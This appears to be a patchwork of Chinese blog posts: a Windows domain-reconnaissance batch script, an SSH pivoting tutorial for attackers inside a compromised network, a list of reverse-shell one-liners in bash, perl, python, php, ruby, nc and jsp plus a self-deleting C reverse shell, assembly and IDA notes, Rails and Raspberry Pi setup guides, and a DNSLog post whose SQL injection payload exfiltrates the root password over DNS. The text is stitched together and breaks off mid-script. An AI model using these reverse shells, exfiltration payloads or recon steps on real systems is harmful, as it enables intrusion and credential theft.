Get System Info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

@echo off
ipconfig /all
net start
tasklist /v
net user 
net localgroup administrator 
netstat -ano 
net use 
net view
net view /domain
net group /domain
net group "domain users" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "exchange domain servers" /domain
net group "exchange servers" /domain
net group "domain computers" /domain
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with   atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F

Get Task List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

''''''''''''''''''''''''''''''''''''
' tasktool.vbs@b4dboy 
''''''''''''''''''''''''''''''''''''

On Error Resume Next
Dim obj, pross, pid, killName
pid = WScript.Arguments(1)
killName = WScript.Arguments(0)
 
Set obj = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pross = obj.Execquery("Select * From Win32_Process")
Wscript.echo "[PID]" & VbTab & "[ProName]"
 
For Each proccess In pross
    If (WScript.Arguments.Count = 2) And (CStr(pid) = CStr(proccess.ProcessID)) Then
        proccess.Terminate 0
    ElseIf Ucase(proccess.Name) = Ucase(killName) Then
        proccess.Terminate 0
    Else
        WScript.echo proccess.ProcessID & VbTab & proccess.Name
    End If
Next

建立热点：

@echo off
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=热点名 key=密码
netsh wlan start hostednetwork

关闭热点

netsh wlan set hostednetwork mode=disallow

在很多时候拿到了内网的一台主机，我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多，meterpreter，nc等等。但是最方便也最有可能穿透防火墙的方法，就是用ssh。
分为四种类型：
本地转发，远程转发，跳板转发，动态转发。
本地转发
假设攻击机A主机为本机，ip是y.y.y.y,用户是hacker，被攻击且用作跳板的主机是B，ip是
x.x.x.x，对应的内网ip是10.0.0.2，用户是root，ssh的端口是22。
假设B机器上的80端口开放了一个服务，但是只有B主机本机上才能访问，这时候可以使用本地转
发，在A机器上执行命令：

1

ssh -L 8080:localhost:80 [email protected] 

这样，在本机A中访问localhost:80,数据被转发到B主机的80端口，即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器，但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问，这时候就可以通过这种方式转发流量，方便的操作
网关服务器的web控制台了。
上面的情况，是基于A主机可以ssh到B的情况，但假如从A到B的ssh连接被拒绝，而恰好B主机的
防火墙没有禁止其使用ssh外连，这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令：

1

ssh -R 8080:localhost80 [email protected] 

这时候在A机器上访问自身的8080端口，数据也是被转发到了B主机的80端口上的。
可见，这种方式受到的局限比较多，因为如果能够在B主机上使用ssh外连了，还需要通过ssh来
转发流量的情况也是很少见的，但也不是没有。
以上两种转发，都是只对跳板服务器自身的服务，很多时候，渗透需要的是内网中一台稳定的跳板，
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板，来访问与B处于同一内网中的机器C的80端口，假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令：

1

ssh -g -L 8080:10.0.0.3:80 [email protected] 

此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的，
动态转发，这种转发可以将流量随心所欲的转发，此时实现的效果就相当于代理服务器，在A机器
上用下面的命令实现：

1

ssh -D 8080 [email protected] 

此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令，其实很简单：

1

ssh -X [email protected] 

这样连接上以后，目标机器的X服务器所做的操作都会通过x协议发送到本地，很方便的实现了可
视化操作。
例如在终端输入firefox，就可以在本地弹出一个实际上运行在远程的firefox进程。

bash

1

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

1

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1

php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

1

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

1

$ nc -e /bin/sh 10.0.0.1 1234

1

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

1

$ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

jsp

1
2
3

r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 
p.waitFor()

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = inet_addr(argv[1]);  // host 
 sin.sin_port = htons(atoi(argv[2]));       // port 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}

相关学习资源

二进制安全相关工具和教程站点

• http://www.openrce.org
• http://www.ollydbg.de
• http://www.sysersoft.com
• http://www.idapro.com
• http://www.woodmann.com
• http://www.hex-rays.com IDA pro
• http://www.nuvisionmiami.com/books/asm Intel汇编语言程序设计

内容体系

• 基本概念
• IA-32处理器体系结构
• 汇编语言基础
• 数据传送、寻址和算术运算
• 过程
• 条件处理
• 整数算术指令
• 高级过程
• 字符串和数组
• 结构和宏
• 32位Windows变成
• 高级语言结构
• 16位MS-DOS程序设计
• 磁盘基础知识
• BIOS程序设计
• 高级MS-DOS程序设计
• 高级主题

汇编和二进制基础知识

• CPU指令的基本单位

  • 1 byte = 8 bit 0~155
  • 1 word = 2 byte 0~65535
  • 1 double word = 2 word 0~4294967295
  • 1 kilobyte = 1024 byte
  • 1 megabyte = 1024 kbyte

• 总线

  • 数据总线
  • 控制总线
  • 地址总线

• 地址空间

  • 32位寄存器可以使用0-2^32-1，可对4GB内存进行寻址

• 寻址方式

  • 段基址*10H+段内偏移地址，形成20位地址
  • 段基址是16的倍数，长度最大不超过64K

• 寄存器(80386处理器中的寄存器分为8组，每组宽度为32位)

  • 通用寄存器
    • EAX: 累加器 在乘法和除法指令中被自动使用
      • AX(低16位) AH(高8位) AL(低8位)
    • EBX: 基址寄存器
      • BX BH BL
    • ECX: 计数器 循环计数器
      • CX CH CL
    • EDX: 数据寄存器
      • DX DH DL
    • ESI: 源变址寄存器
      • SI
    • EDI: 目的变址寄存器
      • DI
    • EBP: 扩展基址指针寄存器 由高级语言用来引用函数参数和局部变量
      • BP
    • ESP: 栈指针寄存器
      • SP
  • 段寄存器
    • CS：代码段(Code Segment)
    • DS：数据段(Data Segment)
    • ES：附加数据段(Extra Segment)
    • SS：堆栈段(Stack Segment)
    • FS：附加段
    • GS 附加段
  • 指令寄存器
    • EIP 指令指针寄存器，低16位为IP（8086），它存储的是下一条要执行指令的地址。
  • 标志寄存器
    • IOPL(I/O Privilege Level): I/O特权级字段，宽度为2bit,它指定了I/O指令的特权级。如果当前的特权级别在数值上小于或等于IOPL，那么I/O指令可执行。否则，将发生一个保护性异常。
    • NT(Nested Task): 控制中断返回指令IRET,它宽度为1位。NT=0,用堆栈中保存的值恢复EFLAGS，CS和EIP从而实现中断返回；NT=1，则通过任务切换实现中断返回。
    • RF(Restart Flag): 重启标志，它的宽度是1位。它主要控制是否接受调试故障。RF=0接受，RF=1忽略。如果你的程序每一条指令都被成功执行，那么RF会被清0。而当接受到一个非调试故障时，处理器置RF=1。
    • VM(Virtual Machine): 虚拟8086模式(用软件来模拟8086的模式，所以也称虚拟机)。VM=0,处理器工作在一般的保护模式下；VM=1，工作在V8086模式下。
    • PSW（Program Flag)程序状态字寄存器，是一个16位寄存器，由条件码标志（flag）和控制标志构成
      • CF(Carry Flag): 进位标志位，由CLC，STC两标志位来控制，在无符号算数运算的结果无法容纳于目的操作数中时被设置
      • PF(Parity Flag): 奇偶标志位
      • AF(Assistant Flag): 辅助进位标志位
      • ZF(Zero Flag): 零标志位
      • SF(Singal Flag): 符号标志位
      • IF(Interrupt Flag): 中断允许标志位,由CLI，STI两条指令来控制
      • DF(Direction Flag): 向量标志位，由CLD，STD两条指令来控制
      • OF(Overflow Flag): 溢出标志位
  • 系统地址寄存器
  • 控制寄存器
  • 调试寄存器
  • 测试寄存器

PSW寄存器详解

汇编指令

• 整数

  • d 十进制
  • b 二进制
  • q/o 八进制
  • h 十六进制
  • r 编码实数
  • t 十进制（可选）
  • y 二进制（可选）

• 整数表达式优先级

  • 1. ()
  • 2. +,- 单目加减
  • 3. *,/
  • 3. MOD 取模
  • 4. +,- 加减

• 数据传送

  • 算术运算/逻辑运算
  • 移位
  • 控制转移
  • 串操作
  • 高级语言支持
  • 条件字节设定
  • 位操作
  • 处理器控制
  • 保护方式

• 通用数据传送

  • 累加器专用传送
  • 地址传送
  • 标志传送

• 伪指令

  • .data 标识包含变量的区域
  • .code 标识程序中包含指令的区域
  • func PROC PROC标识了过程的开始，func可以是任何名字

• 代码标号

  1 2 3

  target: mov ax,bx jmp target

• 数据标号

  1	first BYTE 10

• 注释

  1 2 3 4

  ;单行注释 COMMENT ; 多行注释 ;

1
2
3
4
5
6
7
8
9

mov        赋值
add        两个值相加
sub        相减
mul        相乘
inc        加1
dec        减1
neg        求相反数（转换成对应的二进制补码，补码可通过将目的操作数的所有数据位取反加1）
jmp        跳转到一个新位置
call    调用一个过程

1
2
3
4
5
6
7
8
9
10
11
12

byte    8位无符号整数
sbyte    8位有符号整数
word    16位无符号整数
sword    16位有符号整数
dword    32位无符号整数
sdword    64位有符号整数
fword    48位整数
qword    64位整数
tbyte    80位整数
real4    32位IEEE短实数
real8    64位IEEE长实数
real10    80位IEEE拓展精度实数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

.data
list BYTE 10,20,30,40

;在内存中的形态：
;    0000:10
;    0001:20
;    0002:30
;    0004:50

list BYTE 10,20,30,40
BYTE 50,60,70,80
BYTE 81,82,83,84

;定义字符串
str1 BYTE 'This is a test', 0            ;
str2 BYTE "This is a test ",0dh,0ah,    ;CRLF
BYTE "This is a test ",0dh,0ah,0    ;
    
dup        
BYTE 20 DUP(0)    ;20字节，全部用0填充
BYTE 4 DUP("stack")    ;20字节，"STACKSTACKSTACKSTACK"

word1 WORD 65535    ;最大无符号字
word2 WORD -32768    ;最小无符号字
word3 WORD ?        ;未初始化的字

push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送

1
2
3
4
5

MOV DL,90H        ;DL=90H
MOVSX AX,DL        ;AX=FF90H
MOVZX AX,DL        ;AX=0090H
MOVSX ESI,DL    ;ESI=FFFFFF90H
MOVZX ESI,DL    ;ESI=00000090H

CBW 将字节数据扩展成字，符号位扩展到AH中
CWD 将字数据扩展成双字，符号位放到DX中

1
2
3

MOV AL,70H    ;
CBW            ;AX=0070(2byte,1word)
CWD            ;DX=0000,AX=0070(4byte,2word)

XCHG 交换两个操作数的数据，支持8位、16位、32位
PUSH 入栈，支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈，顺序为AX，CX，DX，BX，SP，BP，SI，DI，然后SP指针寄存减16，内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈，顺序为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI，然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈，堆栈指针寄存器不是堆栈中弹出的内容，而是加16之后得到
POPAD 8个32位通用寄存器全部出栈，ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址

1
2
3

MOV EAX, 11111111h
MOV EBX, 11111111h
LEA ECX, [EAX+EBX]    ;ECX = 22222222h

LDS 装入指针，目的寄存器必须是16位或32位的通用寄存器，操作数必须是内存单元，不能是立即数

1
2

LDS EAX, [1000H];将偏移地址为1000，1001h这两个字节单元的内容送给DS，将1002，1003，1004，1005这四个字节单元的内容送往EAX
LDS AX,[1000H];这表明将偏移地址为1000，1001H这两个字节单元的内容送给段寄存器DS，将偏移地址1002，1003H两个字节单元的内容送往EAX

LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS

LAHF 将标志寄存器的低8位送至AH中，包括SF，ZF，ZF，PF，CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出，并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出，并将它送到标志寄存器EFLAGS

OFFSET 取当前内存的地址

1

offset Array

EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令

EAX = [AX]+[AH+AL]

db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word

1
2
3
4

mov eax ebx
mov eax 333h
mov eax [ebx]
mov eax [ebx+66h]

和C语言的对比：

a = b[0x66] => mov eax [ebx+66h]

• 数据交换

  1 2 3 4 5

  lea edx, b ;将edx指向b mov [edx], ebx ;赋值a = b mov ebx, a ;赋值ebx = a mov b,ebx ;赋值a = b mov ecx, offset a ;将ecx指向a

• 条件跳转：
  cmp 比较结果
  jx 检查条件x，有大于、小于、等于三个状态

je 相等时跳转
jne 不相等时跳转
jb、ja 比较无符号数然后决定是否跳转
jl、jg 比较有符号数然后决定是否跳转
jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
jmp 无条件跳转

1
2
3
4
5

cmp EAX,EBX        ;比较EAX和EBX
jz    xxx            ;如果相等就跳转到xxx
cafebabe
cmp [ECX], EDX    ;比较*ECX和EDX的值
JAE    yyy            ;如果*ECX>=EDX,就跳转到yyy

• 函数调用：

  1 2 3

  push offset, LibName ;将字符串偏移量压入堆栈 call LoadLibrary ;进行函数调用 mov h,EAX ;将EAX中的值传给变量h

PE、ELF基础知识

• PE文件结构:
  .text 二进制代码
  .data 初始化的数据块
  .idata 动态链接库等外来函数与文件
  .rsrc 资源

文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移

• 文件幻数
  Windows PE File

  1

  4d 5a MZ

  Jpeg Image File

  1	ff d8 ff e0 00 10 4a 46 49 46 JFIF

  Java .class file

  1	ca fe ba be

基本工具

• PE Tools 分析Windows进程和可执行文件
• PEiD 识别构建PE文件所使用的编译器
• nm 检查中间目标文件（拓展名为.o的文件），可以显示符号、函数等信息
  动态链接二进制文件，未定义的符号在C语言共享库中定义
• ldd 链接器（静态链接、动态链接）
  静态链接：链接器将应用程序的目标文件和所需的库文件组合起来，可执行文件更大
  动态链接：不需要复制库，方便维护，可执行文件更小

  1 2	gcc -o test test.c gcc -o test test.c --static

  编译好之后可以通过file参数查看类型

  1 2	ldd ./test #查看库依赖（mac:otool -L windows:dumpbin）

  `objdump 节头部 程序每节的摘要信息
  专用头部 程序内存分布信息，还有运行时加载器所需的其他信息
  调试信息 程序中的调试信息
  符号信息 类似nm的方式转储符号表信息
  反汇编代码清单 对文件中标记为代码的部分执行线性扫描反汇编
• dumpbin 从PE文件提取符号、导入函数名、导出函数名和反汇编代码
• c++filt nm test | grep demo |c++filt
  跟C++函数重载有关的操作，显示重载函数的不同形态
• strings 提取文件中的字符串内容 strings test
  strings -t 可显示字符串文件的偏移量信息
  strings -e 可搜索更广泛的字符

反汇编器：

1
2
3

msfpayload linux/x86/shell_findport CPORT=4444 R >test
ls -l test
ndisasm -u test

分析网络数据包中可能包含shellcode的计算机网络攻击时，可以采用流式反汇编器来反汇编数据包中包含shellcode的部分

栈帧： 程序运行时栈中分配的内存块，专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧，使得递归成为可能。

• 函数调用步骤：
  1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
  2.调用方将控制权转交给被调用方
  3.如有必要，为被调用的函数配置栈指针
  4.被调用方为局部变量分配空间
  5.被调用函数执行操作
  6.函数完成操作后，为局部变量保留的栈空间被释放。（逆向执行第4步中的操作）
  7.还原寄存器值
  8.被调用函数将控制权返还给调用方
  9.删除栈中的参数

• 调用约定： 通过调用函数将函数参数存入栈中，调用函数必须存储被调用函数所需的参数。
  调用约定指定调用方放置函数所需参数的具体位置。
  调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
  c调用规定。
  cdecl调用约定规定：
  调用方按从右到左的顺序将函数参数放入栈中。
  在被调用的函数完成操作时，调用方负责从栈中清除参数。

ida基本知识

ida目录结构

• cfg 配置文件
• idc 包含内置脚本语言IDC所需的核心文件
• ids 包含一些符号文件
• loaders 在加载过程中用于识别和解析PE或ELF等一直格式的IDA拓展
• plugins 包含专门为IDA提供的附加功能
• procs 包含已安装的IDA版本所支持的处理器模块
• sig 包含IDA在各种模式匹配操作中利用的现有代码的签名
• til 包含一些类型库信息

ida基本操作

• HKEY_CURRENT_USER\Software\Hex-Rays\IDA IDA注册表项

ida数据库文件

要分析的文件为main.exe
会在目录中生成

• main.id0 二叉树形式的数据库
• main.id1 包含描述每个程序字节的标记
• main.nam 包含于IDA的Names窗口中显示的给定程序位置有关的索引信息
• main.til til文件用于存储与一个给定数据库的本地类型定义有关的信息
• main.idb ida数据库文件

IDA创建数据库

从磁盘加载文件，解析文件头信息，创建包含代码或数据的程序块
编译器识别：IDA尝试确定用于创建输入文件的编译器，如果能确定，就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别：
数据类型信息：

ida桌面

• IDA View-A
• Hex View-A Hex View可以右键编辑并提交
• Hex View-B
• String Window
• Names Window F:常规函数
• L:库函数，通过签名匹配算法来识别
• I:导入的名称，通常为共享库导入的函数名称。
• C:命名代码
• D:数据。已命名数据的位置通常表示全局变量。
• A:字符串数据。
• sub_xxxx:地址xxxx处的子例程
• loc_xxxx:地址xxxx出的e指令
• byte_xxx:位置xxx处的8位数据
• word_xxx:位置xxx处的16位数据
• dword_xx:位置xx处的32位数据
• unk_xxxx:位置xxxx处的大小未知的数据

ida热键

• IDA>View:
• View>Open Subviews 恢复需要的窗口
• ESC 后退(跳转到上一个)
• Ctrl+Enter 前进(跳转到下一个)
• G (GoTo) Jump To Address

加深理解-汇编指令、长度和十六进制的关系

创建项目

1

rails new BootstrapProject

创建模型

1

rails g scaffold xxx --skip-stylesheets

运行迁移

1

rake db:migrate

如果项目和模型都已经建立好了并已经运行了迁移，那么可以省略以上步骤，直接进入下面的流程

在Gemfile中添加bootstrap，这里使用twitter-bootstrap-rails

1
2
3
4

gem 'jquery-rails'
gem 'less-rails'
gem 'therubyracer'
gem 'twitter-bootstrap-rails'

bundle

1

bundle install

安装bootstrap

1

rails g bootstrap:install

在模型上运用bootstrap

1

rails g bootstrap:themed xxx -f

注：xxx可以是任意的模型，例如模型名称是Article，那么这里的语句就是：

1

rails g bootstrap:themed Articles 

还要在application.js中加上引用，否则bootstrap的一些按钮会失效：

1
2

//= require jquery
//= require twitter/bootstrap

Enjoy it~

Windows中搭建Ruby On Rails环境

步骤如下

1. 安装ruby (我选择的版本是ruby 2.2.3p173)
2. 安装rails gem
   在这之前建议先把gem的源换成淘宝的源，速度快点。

   1 2 3 4 5 6 7 8

   gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org/ gem sources -l *** CURRENT SOURCES *** https://ruby.taobao.org # 请确保只有 ruby.taobao.org gem install rails

之后：

1
2

gem install rails
gem install bundler

3. 安装devkit
   下载地址 http://rubyinstaller.org/downloads

如果是win10，选择 DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe 这个版本。

然后运行，并选择解压到c:\devkit

进入c:\devkit目录
运行

ruby dk.rb init

之后修改config.yml

添加下面三行

1
2
3

---
 - C:/Ruby22-x64
 - C:/Ruby22-x64

注意把路径换成当前ruby的安装路径，-前后各有一个空格不可忽略。
然后运行

ruby dk.rb install

最后进入需要建立工程的目录，使用如下命令新建rails项目

rails new testapp

如果在此过程中报错，则进入testapp中
使用

bundler install

来安装所需要的依赖包。

如果还报错，修改testapp目录中的Gemfile

将第一行的sources源内容改为

source 'https://ruby.taobao.org/'

然后再执行bundler install命令

Debian中搭建Ruby On Rails开发环境

假设你已经安装好ruby了

接下来安装rvm

$ curl -L https://get.rvm.io | bash -s stable

某些情况下，可能需要编译一下rvm的初始化脚本

我的位置是在/etc/profile.d/rvm.sh，所以运行这一句:

$source /etc/profile.d/rvm.sh

接着安装bundler

gem install bundler

然后安装rails

gem install rails

如果这地方出现错误，尝试使用rvm切换ruby的版本：

rvm install 2.0.0
rvm 2.0.0 --default

CentOS中搭建ruby on rails开发环境

1
2
3
4
5
6

curl -L https://get.rvm.io | bash -s stable
source /usr/local/rvm/bin/rvm
rvm install 2.0.0
rvm 2.0.0 --default
gem install bundler
gem install rails

最近手上多了一个树莓派2代，于是折腾就这么开始了。
因为总是得要个显示屏或者路由器或者插根网线才能玩，有点麻烦，所以有了此文。

设备清单：

树莓派2代
EDUP EP-N8508GS无线网卡(USB)
普通网线一根

最终实现的效果是树莓派的有线网卡用来作为wan口，无线网卡建立热点
笔记本可以通过连接wifi连接上树莓派进行操作

下面说说过程：
首先我参考了

http://elinux.org/RPI-Wireless-Hotspot

这篇文章中的方法，但是并没有成功。后来看到文章的末尾才知道，是驱动对不上号，文章末尾明确标明默认的hostapd程序不支持rtl8188系列网卡，而我的usb网卡就是rtl8188cus系列。
所以在开始之前，建议先用lsusb命令看一下网卡的型号再考虑进行下一步。

如果你的网卡不是rtl8188系列那你可以参考上面文章中的方法来配置，如果是那么可以参考我的方法。

根据那篇文章最后给出的连接，找到了这个驱动：

https://github.com/lostincynicism/hostapd-rtl8188

然而当编译好驱动重新运行之后仍然是不行，还是不支持。

最后还是参考了这篇文章：

http://wangye.org/blog/archives/845/?_t_t_t=0.7382462719884554

原因可能就是因为我这个系列网卡比较特殊。但是最后在这个文章中发现了编译好的第三方驱动，虽然有点不满意，但还是凑合着用了。
http://www.daveconroy.com/turn-your-raspberry-pi-into-a-wifi-hotspot-with-edimax-nano-usb-ew-7811un-rtl8188cus-chipset/
具体步骤：
先切换为root用户，可以省去很多不必要的麻烦。
所以以下操作都是以root用户：
1.安装hostapd和udhcpd服务并且更换hostapd程序

apt-get install udhcpd hostapd
wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
unzip hostapd.zip
mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
mv hostapd /usr/sbin/hostapd.edimax
ln -sf /usr/sbin/hostapd.edimax /usr/sbin/hostapd
chown root.root /usr/sbin/hostapd
chmod 755 /usr/sbin/hostapd

2.编辑/etc/udhcpd.conf文件，配置dhcp服务：
确保文件当中有下列内容

start 192.168.1.2
end 192.168.1.254
interface wlan0
remaining yes
opt dns 223.5.5.5 223.6.6.6
opt subnet 255.255.255.0
opt router 192.168.1.1
opt lease 864000 #

相信一般都能看懂，其中的interface需要根据情况来写。
3.编辑/etc/default/udhcpd 文件，将下面这行注释掉。

DHCPD_ENABLED="no"

4.将无线网卡wlan0的ip设为192.168.1.1

ifconfig wlan0 192.168.42.1

5.修改/etc/network/interfaces文件，添加下面的内容

iface wlan0 inet static
  address 192.168.1.1
  netmask 255.255.255.0

并且将下面这两条注释掉

wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet manual

6.接着就正式开始配置无线相关的选项了，编辑/etc/hostapd/hostapd.conf，如果没有这个文件就自行创建它。

interface=wlan0
driver=rtl871xdrv
ssid=无线名称
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=无线密码
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

7.在/etc/default/hostapd文件中指定hostapd服务的配置文件，内容如下

DAEMON_CONF="/etc/hostapd/hostapd.conf"

8.更改系统的转发规则和iptables规则，依次运行下列命令：

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
iptables-save > /etc/iptables.nat
service hostapd start
service udhcpd start
update-rc.d hostapd enable
update-rc.d udhcpd enable

9.最后一点点收尾工作：
编辑/etc/network/interfaces文件，在末尾加上着一条：

up iptables-restore < /etc/iptables.nat

以及/etc/sysctl.conf文件，确保下面的选项存在

net.ipv4.ip_forward=1

到此为止就全部完成了，用手机，电脑等无线设备都可以连接上树莓派了。
为后续的折腾打下基础。

折腾的整个过程还挺复杂的，需要修改多处文件，而且每一处修改都会微妙的影响到最后路由器的运行，小小的改变都有可能造成瘫痪或者影响性能。由此可见，想DIY一款高性能的个性无线路由器还是很有挑战性的。

DNSLog，简单来说，就是通过记录对于域名的DNS请求，通过dns请求这个相对“隐蔽”的渠道，来委婉地获取到想要获得的信息。
例如，在一个针对mysql数据库的注入中，如果没有回显，可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话，就可以用这种姿势来获取信息：

1

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似：

当然你可能会说直接用http协议传输不就好了吗，确实http协议也可以，但是http协议毕竟有局限的地方，例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用，一些内网当中对于DNS协议的管控和检测是个薄弱的点，相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中，算是一门很基础的老技术了。

关于DNSLog的具体应用，这里就不多说了，感兴趣的可以进一步阅读以下文章：

1
2
3
4
5

https://www.anquanke.com/post/id/98096

http://www.freebuf.com/column/158579.html

https://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器？接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料：

(1) 一台低成本的VPS：这里推荐使用某国外的便宜VPS，完整root权限，单核512MB/10GSSD，￥128/年，购买链接在文章最后
(2) 一个可以接收邮件的邮箱：用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户，同时注册一个免费的域名
以我这里为例，注册一个nogan.ga

注册的时候，在DNS选项中，选择使用自己的DNS，新建DNS服务器的地址，例如我这里自定义了两个dns服务器，分别是
ns0.nogan.ga和ns1.nogan.ga，并且将他们的地址指向我的VPS服务器。

点击Continue，进入到结算页面。
如果你上一步没有注册用户，那么可以直接在这里填你用来注册用户的邮箱，然后根据指引进行操作。
如果注册了用户，只需要直接登录就可以了。

进入到Review and Checkout页面，填入一些你的基本信息就可以了

这里记得勾选Lock profile，你的信息就不会被whois查询到了。

接着下一步，勾选Complate Order，域名就注册成功了。

部署DNS服务

登录你的VPS服务器，运行下面这个python脚本，将在你的VPS主机监听UDP 53端口，并且回复DNS响应包：

记得修改IP地址和NS域名，在最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2014-06-29 03:01:25
# @Author  : Your Name ([email protected])
# @Link    : http://example.org
# @Version : $Id$

import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = ''
        while True:
            d = ord(data[i])
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + '.'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack('>HH', self.type, self.classify)



# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS 
class SinDNSAnswer:
